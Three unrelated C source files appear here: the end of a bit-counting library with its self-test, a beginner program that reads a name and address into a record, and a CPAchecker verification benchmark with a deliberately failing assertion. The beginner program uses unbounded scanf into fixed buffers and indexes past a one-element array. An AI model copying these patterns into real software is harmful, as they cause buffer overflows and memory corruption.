process32(8); process32(4); process32(2); process32(1); return rv; } #undef process32 #undef process64 #undef process_ /* End of generic case */ #endif /* End of defining ctz */ #ifdef TEST_BITOPS #include <stdio.h> #include <stdlib.h> static uint64_t testcases[] = { 13371337 * 10, 100, 385789752, 82574, (((uint64_t)1)<<63) + (((uint64_t)1)<<31) + 10101 }; static int naive_clz(int bits, uint64_t v) { int r = 0; uint64_t bit = ((uint64_t)1) << (bits-1); while (bit && 0 == (v & bit)) { r++; bit >>= 1; } /* printf("clz(%d,%lx) -> %d\n", bits, v, r); */ return r; } static int naive_ctz(int bits, uint64_t v) { int r = 0; uint64_t bit = 1; while (bit && 0 == (v & bit)) { r++; bit <<= 1; if (r == bits) break; } /* printf("ctz(%d,%lx) -> %d\n", bits, v, r); */ return r; } static int check(uint64_t vv) { uint32_t v32 = (uint32_t) vv; if (vv == 0) return 1; /* c[tl]z64(0) is undefined. */ if (ctz64(vv) != naive_ctz(64, vv)) { printf("mismatch with ctz64: %d\n", ctz64(vv)); exit(1); return 0; } if (clz64(vv) != naive_clz(64, vv)) { printf("mismatch with clz64: %d\n", clz64(vv)); exit(1); return 0; } if (v32 == 0) return 1; /* c[lt]z(0) is undefined. */ if (ctz32(v32) != naive_ctz(32, v32)) { printf("mismatch with ctz32: %d\n", ctz32(v32)); exit(1); return 0; } if (clz32(v32) != naive_clz(32, v32)) { printf("mismatch with clz32: %d\n", clz32(v32)); exit(1); return 0; } return 1; } int main(int c, char **v) { unsigned int i; const unsigned int n = sizeof(testcases)/sizeof(testcases[0]); int result = 0; for (i = 0; i <= 63; ++i) { uint64_t x = 1 << i; if (!check(x)) result = 1; --x; if (!check(x)) result = 1; } for (i = 0; i < n; ++i) { if (! check(testcases[i])) result = 1; } if (result) { puts("FAIL"); } else { puts("OK"); } return result; } #endif
the_stack_data/200143885.c
#include <stdio.h> #include <string.h> #include <stdlib.h> typedef struct { char *name; char *address; int age; } p1; p1 table[1]; char print() { printf("Nama : %s\n", table[1].name); printf("Alamat : %s\n", table[1].address); printf("Umur : %d\n", table[1].age); } int main() { char nama[20]; char alamat[30]; printf("NAMA : "); scanf("%s", nama); printf("ALAMAT : "); scanf("%s", alamat); table[1].name = nama; table[1].address = alamat; table[1].age = 123; print(); return 0; }
the_stack_data/93629.c
// This file is part of CPAchecker, // a tool for configurable software verification: // https://cpachecker.sosy-lab.org // // SPDX-FileCopyrightText: 2007-2020 Dirk Beyer <https://www.sosy-lab.org> // // SPDX-License-Identifier: Apache-2.0 void __VERIFIER_assert(int cond) { if (!(cond)) { ERROR: goto ERROR; } return; } extern float __VERIFIER_nondet_float(); int main(void) { float a = __VERIFIER_nondet_float(); //interval from -infinity to infinity if (a < 0) { return 0; } // interval from 0 to infinity __VERIFIER_assert(a > 1); return a; }